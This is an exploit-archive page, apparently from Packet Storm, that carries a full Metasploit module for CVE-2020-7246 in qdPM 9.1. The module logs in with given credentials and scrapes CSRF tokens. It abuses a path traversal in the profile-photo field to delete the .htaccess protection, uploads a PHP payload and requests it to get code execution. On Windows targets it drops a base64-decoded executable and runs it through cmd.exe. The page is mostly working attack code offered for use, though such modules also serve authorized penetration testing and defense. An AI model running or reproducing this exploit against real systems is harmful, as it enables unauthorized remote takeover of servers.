exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

qdPM 9.1 Authenticated Shell Upload

qdPM 9.1 Authenticated Shell Upload
Posted Sep 29, 2022
Authored by Rishal Dwivedi, Leon Trappett, Giacomo Casoni | Site metasploit.com

A remote code execution vulnerability exists in qdPM versions 9.1 and below. An attacker can upload a malicious PHP code file via the profile photo functionality by leveraging a path traversal vulnerability in the users['photop_preview'] delete photo feature thus allowing bypass of .htaccess protection. NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.

tags | exploit, remote, php, code execution
advisories | CVE-2015-3884, CVE-2020-7246
SHA-256 | 41d2d18aa9196d7f57810fe954d8362f8c6f3662e5ba2a143d334cd07ac9b371

qdPM 9.1 Authenticated Shell Upload

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)',
'Description' => %q{
A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier.
An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal
vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection.
NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.
},
'License' => MSF_LICENSE,
'Author' => [
'Rishal Dwivedi (Loginsoft)', # Discovery
'Leon Trappett (thepcn3rd)', # PoC
'Giacomo Casoni' # Metasploit
],
'References' => [
['CVE', '2020-7246'],
['EDB', '50175']
],
'Payload' => {
'BadChars' => "\x00"
},
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Platform' => %w[linux php],
'Targets' => [
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
[ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
[ 'Windows x64', { 'Arch' => ARCH_X64, 'Platform' => 'win' } ]
],
'Privileged' => true,
'DisclosureDate' => '2020-11-21',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => ['CRASH_SAFE'],
'Reliability' => ['IOC_IN_LOGS'],
'SideEffects' => ['REPEATABLE_SESSION']
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The base directory where qdPM resides', '/']),
OptString.new('EMAIL', [true, 'The email to login with']),
OptString.new('PASSWORD', [true, 'The password to login with'])
]
)

self.needs_cleanup = true
end

def check
uri = normalize_uri(uri, '/index.php')
res = send_request_raw({ 'uri' => uri })
if res.nil?
return Exploit::CheckCode::Unknown
end

login_page = res.get_html_document
begin
version_num = login_page.at('div[@class="copyright"]').at('a').text.tr('qdPM ', '').to_f
rescue StandardError
return Exploit::CheckCode::Unknown
end
version = Rex::Version.new(version_num)
if version <= Rex::Version.new('9.1')
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def get_write_exec_payload_win(fname, _data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("C:\\Windows\\System32\\cmd.exe /c #{fname}");
?>
|
php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
return php
end

def login(base, username, password)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{base}/index.php/login"),
'keep_cookies' => true
})
login_page = res.get_html_document
csrf_token = login_page.at("input[name='login[_csrf_token]']/@value")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{base}/index.php/login"),
'vars_post' => {
'login[email]' => username,
'login[password]' => password,
'login[_csrf_token]' => csrf_token
},
'keep_cookies' => true,
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}/#{base}/index.php/login"
}
})
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{base}/index.php/myAccount"),
'keep_cookies' => true,
'headers' => {
'Host' => rhost.to_s
}
})
account_page = res.get_html_document
begin
userid = account_page.at("input[@name='users[id]']/@value").text.strip
rescue StandardError
print_error('The designated admin account does not have a user ID.')
return {}
end
username = account_page.at("input[@name='users[name]']/@value").text.strip
csrftoken_ = account_page.at("input[@name='users[_csrf_token]']/@value").text.strip
opts = {
'user_id' => userid,
'name' => username,
'csrf_token' => csrftoken_
}
return opts
end

def upload_php(base, opts)
fname = opts['filename']
php_payload = opts['data']
user_id = opts['user_id']
email = opts['email']
csrf_token = opts['csrf_token']

data = [
{ 'name' => 'sf_method', 'data' => 'put' },
{ 'name' => 'users[id]', 'data' => user_id },
{ 'name' => 'users[photo_preview]', 'data' => '.htaccess' },
{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },
{ 'name' => 'users[new_password]', 'data' => '' },
{ 'name' => 'users[email]', 'data' => email },
{ 'name' => 'extra_fields[9]', 'data' => '' },
{ 'name' => 'users[remove_photo]', 'data' => '1' }
]

send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
'vars_form_data' => data,
'keep_cookies' => true,
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
}
)

data = [
{ 'name' => 'sf_method', 'data' => 'put' },
{ 'name' => 'users[id]', 'data' => user_id },
{ 'name' => 'users[photo_preview]', 'data' => '../.htaccess' },
{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },
{ 'name' => 'users[new_password]', 'data' => '' },
{ 'name' => 'users[email]', 'data' => email },
{ 'name' => 'extra_fields[9]', 'data' => '' },
{ 'name' => 'users[remove_photo]', 'data' => '1' }
]

send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
'vars_form_data' => data,
'keep_cookies' => true,
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
}
)

data = [
{ 'name' => 'sf_method', 'data' => 'put' },
{ 'name' => 'users[id]', 'data' => user_id },
{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },
{ 'name' => 'users[new_password]', 'data' => '' },
{ 'name' => 'users[email]', 'data' => email },
{ 'name' => 'extra_fields[9]', 'data' => '' },
{ 'name' => 'users[remove_photo]', 'data' => '1' },
{ 'name' => 'users[photo]', 'data' => php_payload, 'mime_type' => 'application/octet-stream', 'filename' => fname }
]

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
'vars_form_data' => data,
'keep_cookies' => true,
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
}
})

return res.code == 302
end

def exec_php(base, _opts)
res = send_request_cgi({
'uri' => normalize_uri("#{base}/index.php/myAccount"),
'keep_cookies' => true
})
home_page = res.get_html_document
backdoor = home_page.at("//input[@name='users[photo_preview]']/@value").text.strip
register_file_for_cleanup(backdoor)
send_request_cgi({
'uri' => normalize_uri("#{base}/uploads/users/#{backdoor}")
})
end

def exploit
uri = normalize_uri(target_uri.path)
user = datastore['EMAIL']
pass = datastore['PASSWORD']
print_status("Attempt to login with '#{user}:#{pass}'")
opts = login(uri, user, pass)
if opts.empty?
print_error('Login unsuccessful or bad (admin) user')
return
end

php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
case target['Platform']
when 'php'
p = get_write_exec_payload
when 'linux'
p = get_write_exec_payload(unlink_self: true)
when 'win'
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
bin = generate_payload_exe
p = get_write_exec_payload_win(bin_name.to_s, bin)
print_warning("#{bin_name} will require manual cleanup")
end

print_status("Uploading PHP payload (#{p.length} bytes)...")
data = {
'email' => user.to_s,
'filename' => php_fname,
'data' => p
}
data = data.merge(opts)
uploader = upload_php(uri, data)
if !uploader
print_error('Unable to upload')
return
end

print_status("Executing '#{php_fname}'")
exec_php(uri, opts)
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close